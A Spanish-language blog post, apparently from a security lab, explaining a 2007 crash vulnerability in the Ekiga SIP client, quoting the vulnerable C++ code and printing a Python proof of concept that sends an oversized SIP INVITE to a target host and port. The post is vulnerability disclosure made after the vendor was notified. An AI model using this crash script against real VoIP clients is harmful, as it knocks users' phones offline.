Sobre la vulnerabilidad del Ekiga: explicación y PoC

By
In Sin categoría


Si estás interesado en obtener más información sobre la vulnerabilidad de Ekiga publicada hoy (notificada al equipo de Ekiga en Julio de 2007) entonces esta entrada del blog es la que estabas buscando.

El bug se debe a un tema de reasignación de memoria y de bloqueos al mandar una dirección SIP larga(1005 A’s) desde la función SIPURL::GetHostAddress que es donde se extrae la cadena de A’s.

Este bug parece que se resolvió exactamente en la siguiente revisión de ekiga: https://openh323.cvs.sourceforge.net/openh323/opal/src/sip/sipcon.cxx?r1=2.120.2.25&r2=2.120.2.26&pathrev=v2_2_9

La parte vulnerable del código es la siguiente:

OpalTransportAddress SIPURL::GetHostAddress() const
{
PString addr = paramVars(“transport”, “udp”) + ‘$’;
if (paramVars.Contains(“maddr”))
addr += paramVars[“maddr”];
else
addr += hostname;
if (port != 0)
addr.sprintf(“:%u”, port);
return addr;
}

La prueba de concepto es la siguiente (PoC):

#!/usr/bin/python

# ekiga207_crash by José Miguel Esparza
# 2007 S21sec Labs

import sys,socket

if len(sys.argv) != 3:
print “Usage: ekiga207_crash.py target_host target_portn”
sys.exit(1)
target = sys.argv[1]targetPort = int(sys.argv[2])
malformedRequest = “INVITE “+‘A’*1005+” SIP/2.0rn”+
“Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.comrn”+
“Contact:sip:pepe@172.91.1.133:5060rn”+
“Content-Length:417rn”+
“Content-Type:application/sdprn”+
“CSeq:4321 INVITErn”+
“From:sip:pepe@172.91.1.148:5060;tag=a48srn”+
“Max-Forwards:70rn”+
“To:sip:paco@micasa.comrn”+
“Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76rnrn”

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

Esta vez tenemos que dar gracias a Malybuzz 🙂

Recommended Posts

Leave a Comment